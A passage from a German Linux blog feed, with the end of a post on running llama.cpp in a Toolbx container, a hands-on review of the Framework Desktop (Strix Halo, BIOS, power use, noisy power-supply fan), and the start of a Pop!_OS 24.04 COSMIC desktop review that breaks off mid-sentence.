KI-Toolboxes zum Test diverser Software-Umgebungen für llama.cpp finden Sie auf GitHub, beispielsweise hier: https://github.com/kyuz0/amd-strix-halo-toolboxes toolbox create erzeugt eine Toolbox mit dem Namen llama-vulkan-radv auf Basis des Images vulkan-radv, das der Entwickler kyuz0 im Docker Hub hinterlegt hat. Das alleinstehende Kürzel -- trennt die toolbox-Optionen von denen für Podman/Docker. Die folgenden drei Optionen sind erforderlich, um der Toolbox direkten Zugriff auf das Device der GPU zu geben. toolbox create llama-vulkan-radv \ --image docker.io/kyuz0/amd-strix-halo-toolboxes:vulkan-radv \ -- --device /dev/dri \ --group-add video \ --security-opt seccomp=unconfined Mit toolbox enter starten Sie die Toolbox. Innerhalb der Toolbox steht das Kommando llama-cli zur Verfügung. In einem ersten Schritt können Sie testen, ob diese Bibliothek zur Ausführung von Sprachmodellen eine GPU findet. toolbox enter llama-vulkan-radv llama-cli --list-devices ggml_vulkan: Found 1 Vulkan devices: ggml_vulkan: 0 = Radeon 8060S Graphics (RADV GFX1151) (radv) | uma: 1 | fp16: 1 | bf16: 0 | warp size: 64 | shared memory: 65536 | int dot: 1 | matrix cores: KHR_coopmat Available devices: Vulkan0: Radeon 8060S Graphics (RADV GFX1151) (107008 MiB, 99195 MiB free) Wenn Sie auf Ihrem Rechner noch keine Sprachmodelle heruntergeladen haben, finden Sie geeignete Modelle unter https://huggingface.co. Ich habe stattdessen im folgenden Kommando ein Sprachmodell ausgeführt, das ich zuvor in LM Studio heruntergeladen haben. Wie gesagt: In der Toolbox haben Sie vollen Zugriff auf alle Dateien in Ihrem Home-Verzeichnis! llama-server \ -m /home/kofler/.lmstudio/models/lmstudio-community/gpt-oss-20b-GGUF/gpt-oss-20b-MXFP4.gguf \ -c 32000 -ngl 999 -fa 1 --no-mmap Dabei gibt -c die maximale Kontextgröße an. -ngl bestimmt die Anzahl der Layer, die von der GPU verarbeitet werden sollen (alle). -fa 1 aktiviert Flash Attention. Das ist eine Grundvoraussetzung für eine effiziente Ausführung moderner Modelle. --no-mmap bewirkt, dass das ganze Modell zuerst in den Arbeitsspeicher geladen wird. (Die Alternative wären ein Memory-Mapping der Datei.) Der Server kann auf der Adresse localhost:8080 über eine Weboberfläche bedient werden. <img loading="lazy" decoding="async" src="https://kofler.info/wp-content/uploads/toolbx-llama-cpp.png" alt="Der Screenshot zeigt die Weboberfläche von llama.cpp in einem Browser auf localhost. Links befindet sich eine Seitenleiste mit „New chat“, Suche und einer Liste bestehender Konversationen. Im Hauptbereich ist eine Chat-Antwort zu sehen, darunter ein Abschnitt „Quick-Start Reference“ mit einer Tabelle zur Dockerfile/Containerfile-Syntax für Podman. Unten gibt es ein Eingabefeld „Ask anything…“ und eine Modell-/Dateiangabe." width="1920" height="1447" class="size-full wp-image-9280" srcset="https://kofler.info/wp-content/uploads/toolbx-llama-cpp.png 1920w, https://kofler.info/wp-content/uploads/toolbx-llama-cpp-850x641.png 850w, https://kofler.info/wp-content/uploads/toolbx-llama-cpp-1274x960.png 1274w, https://kofler.info/wp-content/uploads/toolbx-llama-cpp-768x579.png 768w, https://kofler.info/wp-content/uploads/toolbx-llama-cpp-1536x1158.png 1536w" sizes="auto, (max-width: 1920px) 100vw, 1920px" /> Weboberfläche zu llama.cpp. Dieses Programm wird in einer Toolbox ausgeführt. Anstatt erste Experimente in der Weboberfläche durchzuführen, können Sie mit dem folgenden Kommando einen einfachen Benchmarktest ausführen. Die pp-Ergebnisse beziehen sich auf das Prompt Processing, also die Verarbeitung des Prompts zu Input Token. tg bezeichnet die Token Generation, also die Produktion der Antwort. llama-bench \ -m /home/kofler/.lmstudio/.../gpt-oss-20b-MXFP4.gguf \ -ngl 999 -fa 1 model size params ... test t/s gpt-oss 20B MXFP4 MoE 11.27 GiB 20.91 pp512 1219 gpt-oss 20B MXFP4 MoE 11.27 GiB 20.91 tg128 78 Quellen/Links https://containertoolbx.org/doc https://developers.redhat.com/articles/2024/07/16/introducing-toolbx https://github.com/containers/toolbox/blob/main/doc/toolbox-create.1.md https://github.com/kyuz0/amd-strix-halo-toolboxes
Die Kinder bekommen ihre Weihnachtsgeschenke am 24.12., bei mir war diesmal zufällig schon eine Woche vorher Bescherung. Direkt von Taiwan versendet traf gestern ein Framework Desktop ein (Batch 17). Wobei von »Geschenk« keine Rede ist, ich habe den Rechner ganz regulär bestellt und bezahlt. Über das Preis/Leistungs-Verhältnis darf man gar nicht nachdenken … Aber für … Framework Desktop weiterlesen →
Die Kinder bekommen ihre Weihnachtsgeschenke am 24.12., bei mir war diesmal zufällig schon eine Woche vorher Bescherung. Direkt von Taiwan versendet traf gestern ein Framework Desktop ein (Batch 17). Wobei von »Geschenk« keine Rede ist, ich habe den Rechner ganz regulär bestellt und bezahlt. Über das Preis/Leistungs-Verhältnis darf man gar nicht nachdenken … Aber für die Überarbeitung des Buchs Coding mit KI will ich nun mal moderat große Sprachmodelle (z.B. gpt-oss-120b) selbst lokal ausführen. Dieser Blog-Beitrag fasst meine ersten Eindrücke zusammen. In den nächsten Wochen werden wohl noch ein paar Artikel rund um Ollama und llama.cpp folgen. <img loading="lazy" decoding="async" src="https://kofler.info/wp-content/uploads/framework.jpeg" alt="Das Bild zeigt ein fertig zusammengebautes PC-Gehäuse aus schwarzem Metall. Links ist eine großflächige, fein gelochte Lüftungsseite zu sehen, die auf gute Belüftung ausgelegt ist. Die Front besteht aus vertikalen Lamellen mit einem auffälligen orange-schwarzen Kachelmuster. Oben befinden sich zwei runde Abdeckungen, und unten sind Standfüße bzw. ein Sockel erkennbar." width="738" height="927" class="size-full wp-image-9240" srcset="https://kofler.info/wp-content/uploads/framework.jpeg 738w, https://kofler.info/wp-content/uploads/framework-517x650.jpeg 517w" sizes="auto, (max-width: 738px) 100vw, 738px" /> Framework Desktop Auswahl Ich war auf der Suche nach einem Rechner mit 128 GByte RAM, das von der GPU genutzt werden kann. Dafür gibt es aktuell drei Plattformen (Intel glänzt durch Abwesenheit): AMD Ryzen AI Max+ 395 (»Strix Halo«): Dieser Prozessor kombiniert 16 Zen-5-CPU-Cores und 40 GPU-Cores (Radeon 8060S). Die Speicherbandbreite (LPDDR5X) beträgt bis zu 250 GiB/s. Desktop-PCs mit 2 TB SSD kosten zwischen 2.000 und 3.000 €, Notebooks ca. 4.000 €. Apple Max CPUs: Der Prozessor M4 Max vereint 16 CPU-Cores mit 40 GPU-Cores. Die Speicherbandbreite erreicht beeindruckende 550 GiB/s. Ein entsprechender Mac Studio mit 2 TB SSD kostet ca. 5000 €, ein MacBook mit vergleichbarer Ausstattung ca. 6000 €. NVIDIA DGX Spark: Diese Plattform besteht aus einer 20-Core ARM-CPU plus NVIDIA Blackwell GPU mit 48 Compute Units. Wegen des LPDDR5X-RAMs ist die Speicherbandbreite wie bei Strix Halo auf ca. 250 GiB/s limitiert. Komplettsysteme kosten ca. 4000 € (Asus, Dell, NVIDIA). Was die Rechenleistung betrifft, spielen alle drei Plattformen in der gleichen Liga, vielleicht mit kleinen Vorteilen bei Apple, vor allem was Effizienz und Lautstärke betrifft. Gegen die NVIDIA-Lösung spricht, dass diese Rechner dezidiert für KI-Aufgaben gedacht sind; eine »normale« Desktop-Nutzung ist nur mit großen Einschränkungen möglich. Generell darf man sich von der KI-Geschwindigkeit der aufgezählten Geräten keine Wunder erwarten: GPU-Leistung und Speicherbandbreite sind nur mittelprächtig. Praktisch jede dezidierte Grafikkarte kann kleine Sprachmodelle schneller ausführen — aber nur, solange das Sprachmodell komplett im dezidierten VRAM Platz hat. (Bei Desktop-PCs können Sie mehrere Grafikkarten einbauen und kombinieren, aber das ist teuer und kostet viel Strom.) Die oben aufgezählten CPUs mit integrierter GPU können dagegen das gesamten RAM nutzen. Das ist langsamer als bei dezidierten GPUs, aber es macht immerhin die Ausführung von relativ großen Modellen möglich. Apple ist wie üblich bei vergleichbarer Ausstattung am teuersten. Umgekehrt muss man anerkennen, dass von allen hier aufgezählten Geräten ein Mac Studio vermutlich der einzige Computer ist, der in drei Jahren noch einen nennenswerten Wiederverkaufswert hat. Am anderen Ende des Preisspektrums befindet sich die AMD-Variante. Es gibt diverse chinesische Mini-PCs mit der AMD-395-CPU: z.B. Bosgame (aktuell am billigsten), GMKtec EVO-X2, Beelink GTR9 (instabil, Probleme mit Intel-Netzwerkadapter) und Minisforum MS-S1 MAX. HP bietet den Z2 Mini G1a zu einem relativ vernünftigen Preis an, aber das Gerät ist anscheinend sehr laut. Schließlich gibt es den Framework Desktop, der ansprechend aussieht, in Tests gut abgeschnitten hat und die beste/leiseste Kühlung hat (leider ein Irrtum, siehe unten). Ich habe mich nach wochenlanger Recherche für das Framework-Angebot entschieden. Das Konzept der Framework-Geräte ist sympathisch. Außerdem gibt es eine große Community rund um das Gerät. Zum Zeitpunkt der Bestellung kostete der Rechner mit 128 GByte RAM, ein paar Adaptern, Kacheln und Lüfter knapp 2.500 € (inkl. USt). Eine SSD habe ich anderswo besorgt. (Update 15.1.2026: Der Framework Desktop ist mittlerweile leider noch teurer geworden.) Lieferung Der Rechner wurde am 12.12. von Taiwan versendet und kam sechs Tage später bei mir an. Faszinierend. (Ich habe noch nie bei Temu & Co. bestellt, habe diesbezüglich auch keine Ambitionen. Insofern war die Verfolgung des Pakets rund um die halbe Welt für mich Neuland.) <img loading="lazy" decoding="async" src="https://kofler.info/wp-content/uploads/framework-shipping.png" alt="Der Screenshot zeigt eine AfterShip-Trackingseite für eine FedEx-International-Sendung, die als „Delivered“ markiert ist. Oben stehen Zusteller und Status, inklusive Unterschrift „H. KOFLER“ sowie Zustellung am 17.12.2025. Darunter listet eine Timeline die Stationen der Reise: Start in Taoyuan (Taiwan), über Guangzhou (China) und Dubai, weiter via Paris (Roissy Charles de Gaulle) nach Wien, Kalsdorf und schließlich Graz." width="600" height="1300" class="size-full wp-image-9248" /> In sechs Tagen um die halbe Welt. Ökologisch ein Alptraum, logistisch ein Wunder. Bis zum Schluss wusste ich nicht, ob nun Zoll zu zahlen ist oder nicht. Offenbar nicht. Ich kann nicht sagen, ob sich Framework bei EU-Lieferungen um die ganze Abwicklung kümmert oder ob es Zufall/Glück war. (Das Gerät ist weiß Gott auch ohne Zoll teuer genug …) Der Zusammenbau ist unkompliziert und gelingt in einer halben Stunde. Ich habe dann Fedora 43 installiert (weitere zehn Minuten). Alles funktionierte auf Anhieb, das Gerät lief die erste halbe Stunde praktisch lautlos. <img loading="lazy" decoding="async" src="https://kofler.info/wp-content/uploads/framework-2.jpeg" alt="Das Foto zeigt den Framework Desktop als Bastel-Set mit geöffnetem Gehäuse und Zubehör auf einem Tisch. Im Hintergrund ist das Innenleben des kompakten PCs mit Kabeln und montierten Komponenten zu sehen. Davor liegen ein Noctua-Lüfter, Schrauben und mehrere kleine Kartons, darunter Wärmeleitpaste und ein USB‑C/USB‑4‑Adapter. Eine Antenne bzw. ein Kabel ragt rechts ins Bild." width="1379" height="1080" class="size-full wp-image-9239" srcset="https://kofler.info/wp-content/uploads/framework-2.jpeg 1379w, https://kofler.info/wp-content/uploads/framework-2-830x650.jpeg 830w, https://kofler.info/wp-content/uploads/framework-2-1226x960.jpeg 1226w, https://kofler.info/wp-content/uploads/framework-2-768x601.jpeg 768w" sizes="auto, (max-width: 1379px) 100vw, 1379px" /> Der Framework Desktop wird als Bastel-Set geliefert <img loading="lazy" decoding="async" src="https://kofler.info/wp-content/uploads/framework-gnome.png" alt="Der Screenshot zeigt die Systemdetails in GNOME unter Fedora. In einem Dialog „Systemdetails“ werden Hardware‑Informationen wie Modell (Framework Desktop), 128,0 GiB RAM, AMD Ryzen AI Max+ 395 mit Radeon 8060S sowie 2,0 TB Speicher angezeigt. Rechts stehen Software‑Daten: Fedora Linux 43 (Workstation Edition), 64‑bit, GNOME 49, Wayland und Kernel 6.17.12. Links ist die Einstellungsnavigation sichtbar." width="1914" height="1526" class="size-full wp-image-9254" srcset="https://kofler.info/wp-content/uploads/framework-gnome.png 1914w, https://kofler.info/wp-content/uploads/framework-gnome-815x650.png 815w, https://kofler.info/wp-content/uploads/framework-gnome-1204x960.png 1204w, https://kofler.info/wp-content/uploads/framework-gnome-768x612.png 768w, https://kofler.info/wp-content/uploads/framework-gnome-1536x1225.png 1536w" sizes="auto, (max-width: 1914px) 100vw, 1914px" /> Systemzusammenfassung von Gnome Benchmark-Tests Ich habe mich nicht lange mit Benchmark-Tests aufgehalten. BIOS in Grundzustand, Fedora 43 mit Gnome im Energiemodus Ausgeglichen. Geekbench lieferte 2790 Single / 20.700 Multi-Core Kernel kompilieren (Version 6.18.1): 9:08 Minuten <img loading="lazy" decoding="async" src="https://kofler.info/wp-content/uploads/kernel.png" alt="Der Screenshot zeigt die macOS‑Aktivitätsanzeige im Tab „Ressourcen“ während einer Kernel‑Kompilierung. Oben ist die CPU‑Auslastung als farbig gestapeltes Diagramm für viele Kerne (CPU1–CPU32) zu sehen, mit Phasen hoher Last und kurzen Einbrüchen. Darunter werden Speicher und Auslagerungsspeicher angezeigt, mit geringem RAM‑Verbrauch und 0 Bytes Swap. Unten zeigt das Datenträger‑Diagramm deutliche Schreibspitzen." width="2192" height="2024" class="size-full wp-image-9255" srcset="https://kofler.info/wp-content/uploads/kernel.png 2192w, https://kofler.info/wp-content/uploads/kernel-704x650.png 704w, https://kofler.info/wp-content/uploads/kernel-1040x960.png 1040w, https://kofler.info/wp-content/uploads/kernel-768x709.png 768w, https://kofler.info/wp-content/uploads/kernel-1536x1418.png 1536w, https://kofler.info/wp-content/uploads/kernel-2048x1891.png 2048w" sizes="auto, (max-width: 2192px) 100vw, 2192px" /> Systemüberwachung während der Kernel kompiliert wird BIOS F2 bzw. je nach Tastatur Fn+F2 führt in die BIOS/EFI-Einstellungen. Dort gibt es eine Menge Optionen zur Steuerung des CPU-Lüfters. Der GPU kann ein fixer Speicher (bis zu 96 GiB) zugewiesen werden. Für die meisten Anwendungen ist das aber nicht sinnvoll. Viele Bibliotheken sind in der Lage, den GPU-Speicher dynamisch anzufordern. Insofern ist es zweckmäßig, den fix reservierten GPU-Speicher möglichst klein einzustellen. Es gibt keine Optionen, die die CPU/GPU-Leistung beeinflussen. Achtung: Es gibt ein BIOS-Update von Version 0.03.03 auf 0.03.04. Gnome Software bietet das Update zur Installation an. Allerdings bereitet die neue BIOS-Version Probleme und verlangsamt den Boot-Prozess massiv. Das Update sollte daher nicht installiert werden! <img loading="lazy" decoding="async" src="https://kofler.info/wp-content/uploads/framework-bios.jpeg" alt="Das Bild zeigt einen Screenshot der InsydeH2O‑BIOS/UEFI‑Oberfläche eines Framework‑Notebooks. Links befindet sich die Navigationsleiste mit „Main“, „Advanced“, „Security“ und „Boot“. In der Mitte werden Systemdaten wie BIOS‑Version, CPU (AMD Ryzen AI Max+ 395 mit Radeon 8060S), RAM‑Takt und Speichermenge angezeigt. Rechts ist ein Bereich zur Sprachauswahl, unten stehen Funktionstasten wie F9/F10." width="1160" height="829" class="size-full wp-image-9246" srcset="https://kofler.info/wp-content/uploads/framework-bios.jpeg 1160w, https://kofler.info/wp-content/uploads/framework-bios-850x607.jpeg 850w, https://kofler.info/wp-content/uploads/framework-bios-768x549.jpeg 768w" sizes="auto, (max-width: 1160px) 100vw, 1160px" /> Mit F2 gelangen Sie in die BIOS-Einstellungen Stromverbrauch Ich habe den Stromverbrauch am Netzstecker mit einem uralten Haushalts-Strommessgerät gemessen. Dessen Genauigkeit ist sicher nicht großartig, aber die Größenordnung meiner Messwerte klingt plausibel: Demnach beträgt die Leistungsaufnahme im Ruhezustand ca. 12 bis 13 Watt (wieder: Fedora mit Gnome Desktop, Energie-Modus ausgeglichen, keine rechenintensiven Vorgänge, BIOS im Grundzustand). Beim Kompilieren des Kernels steigt die Leistung kurz auf 160 Watt und pendelt sich dann ziemlich stabil rund um 140 Watt ein. Geräuschentwicklung Der Rechner hat zwei Lüfter: einen großen für die CPU (kann beim Bestellprozess konfiguriert werden, ich habe mich für das etwas teurere Noctua-Modell entschieden) und einen kleinen, der unsichtbar aber unüberhörbar im Netzteil am Boden des Rechners eingebaut ist. Der CPU-Lüfter läuft standardmäßig nur unter Last und produziert dann ein gut erträgliches Geräusch (mehr Brummen als Surren). Die Steuerung des CPU-Lüfters kann im BIOS verändert werden. Ich habe probeweise einen Dauerbetrieb mit 25 % eingestellt. Der Lüfter bleibt dann für meine Ohren bei knapp einem Meter Abstand immer noch lautlos, sorgt aber für eine stetige leichte Kühlung. Das Problem ist das äußerst schmale Netzteil, das sich im unteren Teil des Gehäuses befindet. Framework ist auf das Netzteil ziemlich stolz, aber viele Desktop-Besitzer können diese Begeisterung nicht teilen. Ein schier endloser Forum-Thread dokumentiert den Frust über das Netzteil. Im Prinzip ist es einfach: Das Netzteil ist komplett gekapselt. Der große CPU-Lüfter kann es daher nicht kühlen. Die Luftzufuhr wird durch eine enge Röhre und das Gitter des Gehäuses enorm behindert. Das Netzteil ist mit 80 Plus Silver nur mäßig effizient, was sich vermutlich im Leerlaufbetrieb besonders stark auswirkt. Im Netzteil steht die Luft. Dieses wird durch die Abwärme immer heißer. Ca. 1/2 h nach dem Einschalten wird eine kritische Temperatur erreicht. Nun startet unvermittelt der winzige Lüfter. Eine halbe Minute reicht, um das Netzteil mit frischer Luft etwas abzukühlen — aber nach ca. 10 Minuten beginnt das Spiel von neuem. (Unter Last läuft natürlich auch der Netzteillüfter häufiger.) Das Geräusch des Netzteil-Lüfters ist leider wesentlich unangenehmer als das des CPU-Lüfters. Der kleine Lüfter hat eine unangenehme Frequenz, und das regelmäßige Ein/Aus stört. Eine BIOS-Steuerung ist nicht vorgesehen. Vermutlich wäre es gescheiter, den Netzteil-Lüfter ständig bei niedriger Frequenz laufen zu lassen, um ohne viel Lärm einen andauernden Luftaustausch zu gewährleisten. Aber diese Möglichkeit besteht nicht. <img loading="lazy" decoding="async" src="https://kofler.info/wp-content/uploads/framework-luefter.jpg" alt="Das Bild zeigt einen Blick von oben in ein kompaktes PC-Gehäuse mit großem CPU-Lüfter. Zentral ist der große, braune Lüfter montiert, dahinter sind Kühlrippen und Teile des Mainboards zu erkennen. Unten sitzt das Netzteil; Kabelstränge verlaufen daneben zur Hardware. Eingezeichnete Pfeile markieren die Luftzufuhr rechts und die Abluft nach links." width="2038" height="2086" class="size-full wp-image-9244" srcset="https://kofler.info/wp-content/uploads/framework-luefter.jpg 2038w, https://kofler.info/wp-content/uploads/framework-luefter-635x650.jpg 635w, https://kofler.info/wp-content/uploads/framework-luefter-938x960.jpg 938w, https://kofler.info/wp-content/uploads/framework-luefter-768x786.jpg 768w, https://kofler.info/wp-content/uploads/framework-luefter-1501x1536.jpg 1501w, https://kofler.info/wp-content/uploads/framework-luefter-2001x2048.jpg 2001w" sizes="auto, (max-width: 2038px) 100vw, 2038px" /> Blick in das Innenleben. Der große Lüfter kühlt die CPU. Das Netzteil ist ganz unten und hat einen weiteren, nicht sichtbaren Lüfter <img loading="lazy" decoding="async" src="https://kofler.info/wp-content/uploads/framework-abdeckung.jpg" alt="Das Bild zeigt die Seitenabdeckung eines PC-Gehäuses mit großflächigem Lüftungsgitter. Der obere Bereich besteht aus einem quadratischen Mesh, während der untere Teil geschlossen und glatt ausgeführt ist. Rechts unten ist eine kleine, geschlitzte Öffnung zu sehen, auf die ein roter Pfeil mit der Beschriftung „Luftzufuhr für das Netzteil“ zeigt. Die Darstellung verdeutlicht, dass die Abdeckung die Luftzufuhr zusätzlich behindert." width="1660" height="1747" class="size-full wp-image-9243" srcset="https://kofler.info/wp-content/uploads/framework-abdeckung.jpg 1660w, https://kofler.info/wp-content/uploads/framework-abdeckung-618x650.jpg 618w, https://kofler.info/wp-content/uploads/framework-abdeckung-912x960.jpg 912w, https://kofler.info/wp-content/uploads/framework-abdeckung-768x808.jpg 768w, https://kofler.info/wp-content/uploads/framework-abdeckung-1460x1536.jpg 1460w" sizes="auto, (max-width: 1660px) 100vw, 1660px" /> Die Luftzufuhr wird durch die Abdeckung weiter behindert Um es klar zu stellen: Selbst wenn der Netzteillüfter läuft, ist das Gerät nicht wirklich laut — und vermutlich immer noch leiser als Konkurrenzprodukte (die ich aber nicht ausprobiert habe). Und dass der Computer unter Last nicht lautlos ist, war sowieso zu erwarten. Ärgerlich ist, dass das Gerät trotz seines ausgezeichneten CPU-Kühler-Designs im Leerlauf bzw. bei geringer Belastung nicht leiser ist. Technisch wäre das möglich. Da wurde rund um das Netzteil viel Potenzial verschenkt. Fazit Der Framework Desktop wurde offensichtlich mit viel Liebe zum Detail entwickelt. Der Rechner ist optisch ansprechend und liegt preislich im Vergleich zu seinen Konkurrenzprodukten im Mittelfeld. (Generell ist leider zu befürchten, dass die Preise von Computern in den nächsten Monaten steigen werden, weil sowohl RAM als auch SSDs fast täglich teurer werden.) Die CPU-Kühlung ist vermutlich die beste aller aktuellen Strix-Halo-Angebote. Bei meinen bisherigen Tests lief der Rechner absolut stabil. Extrem schade, dass das Netzteil so ein Murks ist. Wenn das Netzteil intelligenter gekühlt würde, wäre im Leerlauf bzw. bei moderater Nutzung ein weitgehend lautloser Betrieb möglich. Stattdessen nervt das Gerät mit einem hochfrequenten Gesurre, das alle paar Minuten startet und eine halbe Minute später wieder aufhört. Ärgerlich! Quellen/Links https://frame.work/at/de/desktop https://guides.frame.work/Guide/Framework+Desktop+(AMD+Ryzen+AI+Max+300+Series)+DIY+Edition+%E2%80%93+Kurzanleitung/464 https://community.frame.work/c/desktop/203 https://community.frame.work/t/fedora-43-slow-to-boot-update-because-of-system-firmware-3-04/78930 Netzteil https://frame.work/at/de/products/desktop-power-supply-400w https://frame.work/at/de/blog/framework-desktop-deep-dive-power-supply https://community.frame.work/t/noisy-psu-fan/74751/493 https://community.frame.work/t/exterior-fan-to-solve-the-noisy-psu-fan-problem/76398/37 Andere Geräte https://www.bosgamepc.com/products/bosgame-m5-ai-mini-desktop-ryzen-ai-max-395 https://www.notebookcheck.com/Bester-Mini-PC-des-Jahres-AMD-Strix-Halo-128-GB-RAM-Radeon-RX-8060S-im-Bosgame-M5-getestet.1084304.0.html https://www.bee-link.com/de/products/beelink-gtr9-pro-amd-ryzen-ai-max-395 https://craigwilson.blog/post/2025/2025-09-25-beelink395bsod/ (Bee Link Netzwerkprobleme) https://www.notebookcheck.com/HP-Z2-Mini-G1a-mit-AMD-Strix-Halo-im-Test-Kompakte-Workstation-mit-Ryzen-AI-Max-und-Radeon-RX-8060S.1059460.0.html https://minisforumpc.eu/de/products/minisforum-ms-s1-max-mini-pc https://www.heise.de/bestenlisten/testbericht/minisforum-ms-s1-max-mit-ryzen-ai-max-395-einer-der-staerksten-mini-pcs-im-test/6n5m46y
COSMIC, der komplett neue Desktop der Firma system76 ist fertig! COSMIC ist integraler Teil von Pop!_OS. Diese ebenfalls von system76 entwickelte Distribution basiert auf Ubuntu, zeichnet sich aber durch viele Eigenheiten ab. Weil ich mir COSMIC ansehen wollte, habe ich die aktuelle Version von Pop!_OS auf meinen MiniPC installiert. Dieser Artikel fasst ganz kurz meine … Pop!_OS 24.04 mit COSMIC weiterlesen →
COSMIC, der komplett neue Desktop der Firma system76 ist fertig! COSMIC ist integraler Teil von Pop!_OS. Diese ebenfalls von system76 entwickelte Distribution basiert auf Ubuntu, zeichnet sich aber durch viele Eigenheiten ab. Weil ich mir COSMIC ansehen wollte, habe ich die aktuelle Version von Pop!_OS auf meinen MiniPC installiert. Dieser Artikel fasst ganz kurz meine Beobachtungen zusammen. <img loading="lazy" decoding="async" src="https://kofler.info/wp-content/uploads/cosmic-desktop.png" alt="Der Screenshot zeigt den COSMIC-Desktop im Light Mode mit einem Dock links. Im Vordergrund ist das Einstellungsfenster „Über“ geöffnet und listet Hardware- sowie Systemdaten wie CPU (AMD Ryzen), Speicher und Pop!_OS 24.04 LTS mit Wayland. Rechts oben ist zudem der Dateimanager im Ordner „Bilder“ mit einer Liste von PNG-Dateien zu sehen. Im Hintergrund läuft ein Browser mit der system76/COSMIC-Webseite." width="1920" height="1080" class="size-full wp-image-9222" srcset="https://kofler.info/wp-content/uploads/cosmic-desktop.png 1920w, https://kofler.info/wp-content/uploads/cosmic-desktop-850x478.png 850w, https://kofler.info/wp-content/uploads/cosmic-desktop-1280x720.png 1280w, https://kofler.info/wp-content/uploads/cosmic-desktop-768x432.png 768w, https://kofler.info/wp-content/uploads/cosmic-desktop-1536x864.png 1536w" sizes="auto, (max-width: 1920px) 100vw, 1920px" /> Der COSMIC-Desktop im Light Mode und mit Dock auf der linken Seite Installation Die Installation erfolgt aus einem Live-System. Der einzig spannende Punkt ist die Partitionierung der SSD. Sofern Sie sich für die manuelle Partitionierung entscheiden, zeigt das Installationsprogramm einen Überblick über die vorhandenen Disks und Partitionen aus. Sie können nun die Partitionen, die Sie einbinden (EFI) oder mit einem Dateisystem ausstatten möchten (zumindest die Systempartition) per Maus aktivieren. Wenn Sie die Partitionierung verändern wollen (Modify Partitions), startet das Installationsprogramm einfach das Programm gparted. Das ist ein pragmatischer Ansatz, mit dem fortgeschrittene Benutzer ans Ziel kommen. Wer verschlüsselte LVM-Setups will, muss selbst Hand anlegen und die erforderlichen Schritte vorweg selbst erledigen. <img loading="lazy" decoding="async" src="https://kofler.info/wp-content/uploads/pop-install.png" alt="Der Screenshot zeigt den Partitionierungsdialog des Installers „Install Pop!_OS 24.04 LTS“ zur Auswahl der aktiven Partitionen. Oben ist eine Samsung SSD 990 EVO 2TB mit mehreren Partitionen (u. a. ext4, fat32, btrfs) als farbige Balken dargestellt. Darunter erscheint ein weiteres Laufwerk „KINGSTON“ mit zwei Partitionen. Rechts werden Optionen wie „Use partition“, „Format“, „Use as: Root (/)“ und „Filesystem: Default (ext4)“ angezeigt, unten die Schaltfläche „Erase and Install“." width="950" height="700" class="size-full wp-image-9212" srcset="https://kofler.info/wp-content/uploads/pop-install.png 950w, https://kofler.info/wp-content/uploads/pop-install-850x626.png 850w, https://kofler.info/wp-content/uploads/pop-install-768x566.png 768w" sizes="auto, (max-width: 950px) 100vw, 950px" /> Auswahl der aktiven Partitionen COSMIC Desktop Der COSMIC Desktop besteht aus dem Fenstermanager/Compositor mit den üblichen Desktop-Elementen (Panel, Dock) sowie einigen COSMIC-spezifischen Programmen: Dateimanager, Terminal, Systemeinstellungen, Paketverwaltung, Texteditor und Media-Player. Bei den sonstigen Programmen greift COSMIC auf die üblichen Linux- (Firefox, Thunderbird, LibreOffice, Gimp) oder Gnome-Apps zurück (Systemüberwachung, Laufwerke). Bei der Fensterverwaltung unterscheidet COSMIC zwischen dem Standardmodus, der im Prinzip wie unter Gnome oder KDE funktioniert, und einem Tiling-Modus mit halbautomatischer Fensteranordnung, wobei stets alle Fenster sichtbar sind. Zwischen den beiden Modi kann über ein Icon im Panel oder mit Super+Y gewechselt werden. <img loading="lazy" decoding="async" src="https://kofler.info/wp-content/uploads/cosmic-tiling-scaled.png" alt="Der Screenshot zeigt eine Linux-Desktop-Umgebung im Tiling-Modus mit nebeneinander angeordneten Fenstern. Links ist ein Browser mit einer System76-Dokumentation zu Pop!_OS‑Tastenkürzeln („Manage tiled windows“) geöffnet. Rechts oben läuft ein Terminal mit der Ausgabe von `ip a` inklusive Netzwerk-Interfaces und IP-Adressen. Unten rechts sind weitere Terminals mit `lsblk` sowie `cat /etc/os-release` (Pop!_OS 24.04 LTS) zu sehen." width="2560" height="1440" class="size-full wp-image-9224" srcset="https://kofler.info/wp-content/uploads/cosmic-tiling-scaled.png 2560w, https://kofler.info/wp-content/uploads/cosmic-tiling-850x478.png 850w, https://kofler.info/wp-content/uploads/cosmic-tiling-1280x720.png 1280w, https://kofler.info/wp-content/uploads/cosmic-tiling-768x432.png 768w, https://kofler.info/wp-content/uploads/cosmic-tiling-1536x864.png 1536w, https://kofler.info/wp-content/uploads/cosmic-tiling-2048x1152.png 2048w" sizes="auto, (max-width: 2560px) 100vw, 2560px" /> Im Tiling-Modus werden alle Fenster nebeneinander platziert. <img loading="lazy" decoding="async" src="https://kofler.info/wp-content/uploads/cosmic-settings.png" alt="Der Screenshot zeigt die Systemeinstellungen eines Linux-Desktops im Bereich „Desktop → Dock“. Links ist die Kategorienliste (u. a. Netzwerk, Bluetooth, Zugänglichkeit) zu sehen, rechts die Dock-Optionen. Konfigurierbar sind Verhalten und Position (automatisch ausblenden, links, alle Bildschirme) sowie Stil (Lücke, Ausdehnen, Aussehen, Größe, Deckkraft). Unten gibt es „Dock-Applets konfigurieren“ und „Auf Standardwerte zurücksetzen“." width="851" height="889" class="size-full wp-image-9225" srcset="https://kofler.info/wp-content/uploads/cosmic-settings.png 851w, https://kofler.info/wp-content/uploads/cosmic-settings-622x650.png 622w, https://kofler.info/wp-content/uploads/cosmic-settings-768x802.png 768w" sizes="auto, (max-width: 851px) 100vw, 851px" /> Die Systemeinstellungen wirken übersichtlicher als bei Gnome oder KDE Die Bedienung ist intuitiv und funktioniert zumeist problemlos. Aber natürlich (Version 1.0!) gibt es noch kleinere Ungereimtheiten. Um ein paar zu nennen: Während sich echte COSMIC-Programme perfekt in den Desktop integrieren, wirken KDE- oder Gnome-Programme ein wenig wie Fremdkörper. Dieses Problem haben natürlich auch andere Desktop-Systeme. Obwohl ich Deutsch als Sprache eingestellt habe, bleibt es im Panel bei Workspaces und Applications, der Dateimanager zeigt das Änderungsdatum der Dateien mit AM/PM an usw. Wiederum: Ähnliche Probleme gibt es auch bei anderen Desktops. Drag&Drop zwischen Dateimanager und Webbrowser funktioniert unzuverlässig. (Diesem Wayland-Problem bin ich in den vergangenen Jahren auch schon oft begegnet, zuletzt aber immer seltener.) Das Erstellen von Screenshots in die Zwischenablage funktioniert unzuverlässig. Beim Verschieben von Icons im Dock hatte ich mehrfach Probleme. Manche Icons werden gar nicht oder mit falschen Symbolen angezeigt (z.B. Google Chrome). Die 